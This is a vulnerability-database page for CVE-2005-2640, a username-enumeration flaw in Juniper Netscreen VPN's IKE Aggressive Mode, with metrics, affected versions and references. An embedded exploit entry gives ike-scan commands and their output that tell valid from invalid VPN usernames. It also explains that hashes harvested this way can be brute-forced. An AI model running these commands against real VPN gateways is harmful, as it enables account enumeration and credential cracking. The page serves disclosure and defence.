CVE-2005-2640 : Detail

CVE-2005-2640

5.88%V4
Network
2005-08-20
02h00 +00:00
2016-10-17
11h57 +00:00
CVE.org
NVD
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CVE Descriptions

Behavioral discrepancy information leak in Juniper Netscreen VPN running ScreenOS 5.2.0 and earlier, when using IKE with pre-shared key authentication, allows remote attackers to enumerate valid usernames via an IKE Aggressive Mode packet, which generates a response if the username is valid but does not respond when the username is invalid.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 5 AV:N/AC:L/Au:N/C:P/I:N/A:N nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 26168

Publication date : 2005-08-17 22h00 +00:00
Author : Roy Hills
EDB Verified : Yes

source: https://www.securityfocus.com/bid/14595/info The Juniper Netscreen VPN implementation will identify valid usernames in IKE aggressive mode, when pre-shared key authentication is used. This allows for attackers to obtain a list of valid VPN users. With a valid username, an attacker can obtain hashed credentials against which a brute force attack may be performed. A successful crack would mean that the attacker has complete access to the network. The ike-scan options used in this example are: -A Specify IKE Aggressive Mode. The default for ike-scan is Main Mode. -M Multiline: Display each payload on a separate line, which makes the output easier to read. --id=string Specify the string to be used for the ID payload. 10.0.0.1 The IP address of the target Netscreen. 3.1. Response to valid username "royhills@hotmail.com" $ ike-scan -A -M --id=royhills@hotmail.com 10.0.0.1 Starting ike-scan 1.7.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/) 10.0.0.1 Aggressive Mode Handshake returned HDR=(CKY-R=21af4dbe2cecd5f0) SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) VID=64405f46f03b7660a23be116a1975058e69e83870000000400000403 (Netscreen-05) VID=4865617274426561745f4e6f74696679386b0100 (Heartbeat Notify) KeyExchange(128 bytes) Nonce(20 bytes) ID(Type=ID_IPV4_ADDR, Value=10.0.0.1) Hash(20 bytes) Ending ike-scan 1.7.7: 1 hosts scanned in 0.136 seconds (7.37 hosts/sec). 1 returned handshake; 0 returned notify 3.2. Response to invalid username "invalid@hotmail.com" $ ike-scan -A -M --id=invalid@hotmail.com 10.0.0.1 Starting ike-scan 1.7.7 with 1 hosts (http://www.nta-monitor.com/ike-scan/) Ending ike-scan 1.7.7: 1 hosts scanned in 2.467 seconds (0.41 hosts/sec). 0 returned handshake; 0 returned notify

Products Mentioned

Configuraton 0

Neoteris>>Instant_virtual_extranet >> Version 3.0

    Neoteris>>Instant_virtual_extranet >> Version 3.1

      Neoteris>>Instant_virtual_extranet >> Version 3.2

        Neoteris>>Instant_virtual_extranet >> Version 3.3

          Neoteris>>Instant_virtual_extranet >> Version 3.3.1

            Configuraton 0

            Juniper>>Netscreen_screenos >> Version 1.7

              Juniper>>Netscreen_screenos >> Version 1.64

              Juniper>>Netscreen_screenos >> Version 1.66

              Juniper>>Netscreen_screenos >> Version 1.66_r2

                Juniper>>Netscreen_screenos >> Version 1.73_r1

                  Juniper>>Netscreen_screenos >> Version 1.73_r2

                    Juniper>>Netscreen_screenos >> Version 2.0.1_r8

                      Juniper>>Netscreen_screenos >> Version 2.1

                      Juniper>>Netscreen_screenos >> Version 2.1_r6

                        Juniper>>Netscreen_screenos >> Version 2.1_r7

                          Juniper>>Netscreen_screenos >> Version 2.5

                          Juniper>>Netscreen_screenos >> Version 2.5r1

                          Juniper>>Netscreen_screenos >> Version 2.5r2

                          Juniper>>Netscreen_screenos >> Version 2.5r6

                          Juniper>>Netscreen_screenos >> Version 2.6.0

                          Juniper>>Netscreen_screenos >> Version 2.6.1

                          Juniper>>Netscreen_screenos >> Version 2.6.1r1

                          Juniper>>Netscreen_screenos >> Version 2.6.1r2

                          Juniper>>Netscreen_screenos >> Version 2.6.1r3

                          Juniper>>Netscreen_screenos >> Version 2.6.1r4

                          Juniper>>Netscreen_screenos >> Version 2.6.1r5

                          Juniper>>Netscreen_screenos >> Version 2.6.1r6

                          Juniper>>Netscreen_screenos >> Version 2.6.1r7

                          Juniper>>Netscreen_screenos >> Version 2.6.1r8

                          Juniper>>Netscreen_screenos >> Version 2.6.1r9

                          Juniper>>Netscreen_screenos >> Version 2.6.1r10

                          Juniper>>Netscreen_screenos >> Version 2.6.1r11

                          Juniper>>Netscreen_screenos >> Version 2.6.1r12

                          Juniper>>Netscreen_screenos >> Version 2.7.1

                          Juniper>>Netscreen_screenos >> Version 2.7.1r1

                          Juniper>>Netscreen_screenos >> Version 2.7.1r2

                          Juniper>>Netscreen_screenos >> Version 2.7.1r3

                          Juniper>>Netscreen_screenos >> Version 2.8

                          Juniper>>Netscreen_screenos >> Version 2.8_r1

                            Juniper>>Netscreen_screenos >> Version 2.10_r3

                              Juniper>>Netscreen_screenos >> Version 2.10_r4

                                Juniper>>Netscreen_screenos >> Version 3.0.0

                                Juniper>>Netscreen_screenos >> Version 3.0.0r1

                                Juniper>>Netscreen_screenos >> Version 3.0.0r2

                                Juniper>>Netscreen_screenos >> Version 3.0.0r3

                                Juniper>>Netscreen_screenos >> Version 3.0.0r4

                                Juniper>>Netscreen_screenos >> Version 3.0.1

                                Juniper>>Netscreen_screenos >> Version 3.0.1r1

                                Juniper>>Netscreen_screenos >> Version 3.0.1r2

                                Juniper>>Netscreen_screenos >> Version 3.0.1r3

                                Juniper>>Netscreen_screenos >> Version 3.0.1r4

                                Juniper>>Netscreen_screenos >> Version 3.0.1r5

                                Juniper>>Netscreen_screenos >> Version 3.0.1r6

                                Juniper>>Netscreen_screenos >> Version 3.0.1r7

                                Juniper>>Netscreen_screenos >> Version 3.0.2

                                Juniper>>Netscreen_screenos >> Version 3.0.3

                                Juniper>>Netscreen_screenos >> Version 3.0.3_r1.1

                                  Juniper>>Netscreen_screenos >> Version 3.0.3r1

                                  Juniper>>Netscreen_screenos >> Version 3.0.3r2

                                  Juniper>>Netscreen_screenos >> Version 3.0.3r3

                                  Juniper>>Netscreen_screenos >> Version 3.0.3r4

                                  Juniper>>Netscreen_screenos >> Version 3.0.3r5

                                  Juniper>>Netscreen_screenos >> Version 3.0.3r6

                                  Juniper>>Netscreen_screenos >> Version 3.0.3r7

                                  Juniper>>Netscreen_screenos >> Version 3.0.3r8

                                  Juniper>>Netscreen_screenos >> Version 3.1.0

                                  Juniper>>Netscreen_screenos >> Version 3.1.0r1

                                  Juniper>>Netscreen_screenos >> Version 3.1.0r2

                                  Juniper>>Netscreen_screenos >> Version 3.1.0r3

                                  Juniper>>Netscreen_screenos >> Version 3.1.0r4

                                  Juniper>>Netscreen_screenos >> Version 3.1.0r5

                                  Juniper>>Netscreen_screenos >> Version 3.1.0r6

                                  Juniper>>Netscreen_screenos >> Version 3.1.0r7

                                  Juniper>>Netscreen_screenos >> Version 3.1.0r8

                                  Juniper>>Netscreen_screenos >> Version 3.1.0r9

                                  Juniper>>Netscreen_screenos >> Version 3.1.0r10

                                  Juniper>>Netscreen_screenos >> Version 3.1.0r11

                                  Juniper>>Netscreen_screenos >> Version 3.1.0r12

                                  Juniper>>Netscreen_screenos >> Version 3.1.1_r2

                                    Juniper>>Netscreen_screenos >> Version 4.0.0

                                    Juniper>>Netscreen_screenos >> Version 4.0.0

                                      Juniper>>Netscreen_screenos >> Version 4.0.0r1

                                      Juniper>>Netscreen_screenos >> Version 4.0.0r2

                                      Juniper>>Netscreen_screenos >> Version 4.0.0r3

                                      Juniper>>Netscreen_screenos >> Version 4.0.0r4

                                      Juniper>>Netscreen_screenos >> Version 4.0.0r5

                                      Juniper>>Netscreen_screenos >> Version 4.0.0r6

                                      Juniper>>Netscreen_screenos >> Version 4.0.0r7

                                      Juniper>>Netscreen_screenos >> Version 4.0.0r8

                                      Juniper>>Netscreen_screenos >> Version 4.0.0r9

                                      Juniper>>Netscreen_screenos >> Version 4.0.0r10

                                      Juniper>>Netscreen_screenos >> Version 4.0.0r11

                                      Juniper>>Netscreen_screenos >> Version 4.0.0r12

                                      Juniper>>Netscreen_screenos >> Version 4.0.1

                                      Juniper>>Netscreen_screenos >> Version 4.0.1r1

                                      Juniper>>Netscreen_screenos >> Version 4.0.1r2

                                      Juniper>>Netscreen_screenos >> Version 4.0.1r3

                                      Juniper>>Netscreen_screenos >> Version 4.0.1r4

                                      Juniper>>Netscreen_screenos >> Version 4.0.1r5

                                      Juniper>>Netscreen_screenos >> Version 4.0.1r6

                                      Juniper>>Netscreen_screenos >> Version 4.0.1r7

                                      Juniper>>Netscreen_screenos >> Version 4.0.1r8

                                      Juniper>>Netscreen_screenos >> Version 4.0.1r9

                                      Juniper>>Netscreen_screenos >> Version 4.0.1r10

                                      Juniper>>Netscreen_screenos >> Version 4.0.2

                                      Juniper>>Netscreen_screenos >> Version 4.0.3

                                      Juniper>>Netscreen_screenos >> Version 4.0.3r1

                                      Juniper>>Netscreen_screenos >> Version 4.0.3r2

                                      Juniper>>Netscreen_screenos >> Version 4.0.3r3

                                      Juniper>>Netscreen_screenos >> Version 4.0.3r4

                                      Juniper>>Netscreen_screenos >> Version 5.0.0

                                      Juniper>>Netscreen_screenos >> Version 5.1.0

                                      Juniper>>Netscreen_screenos >> Version 5.1.0r3a

                                      Juniper>>Netscreen_screenos >> Version 5.2.0

                                      Netscreen>>Ns-10 >> Version *

                                        Netscreen>>Ns-100 >> Version 3.0_.pe1.0

                                          Netscreen>>Ns-204 >> Version 5.0.0_r6.0

                                            Netscreen>>Ns-204 >> Version 0110.0_11_4.0_r10.0

                                              Netscreen>>Ns-204 >> Version 0110.0_11_5.1.0_r3a

                                                Netscreen>>Ns-500 >> Version 4110.0_11_4.0_r10.0

                                                  Netscreen>>Ns-500 >> Version 4110.0_11_5.1.0_r3a

                                                    Netscreen>>Ns-50ns25 >> Version 5.0.0_r6.0

                                                      Configuraton 0

                                                      Juniper>>Netscreen-5gt >> Version 5.0

                                                      Juniper>>Netscreen-idp >> Version 3.0

                                                      Juniper>>Netscreen-idp >> Version 3.0r1

                                                      Juniper>>Netscreen-idp >> Version 3.0r2

                                                      Juniper>>Netscreen-idp_10 >> Version 3.0.1_r1

                                                        Juniper>>Netscreen-idp_100 >> Version 3.0.1_r1

                                                          Juniper>>Netscreen-idp_1000 >> Version 3.0.1_r1

                                                            Juniper>>Netscreen-idp_500 >> Version 3.0.1_r1

                                                              Netscreen>>Netscreen-sa_5000_series >> Version *

                                                                Netscreen>>Netscreen-sa_5020_series >> Version 4.2_r2.2

                                                                  Netscreen>>Netscreen-sa_5050_series >> Version 4.2_r2.2

                                                                    References

                                                                    http://www.securityfocus.com/bid/14595
                                                                    Tags : vdb-entry, x_refsource_BID
                                                                    http://marc.info/?l=bugtraq&m=112438068426034&w=2
                                                                    Tags : mailing-list, x_refsource_BUGTRAQ
                                                                    http://securitytracker.com/id?1014728
                                                                    Tags : vdb-entry, x_refsource_SECTRACK
                                                                    http://secunia.com/advisories/16474/
                                                                    Tags : third-party-advisory, x_refsource_SECUNIA
                                                                    The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.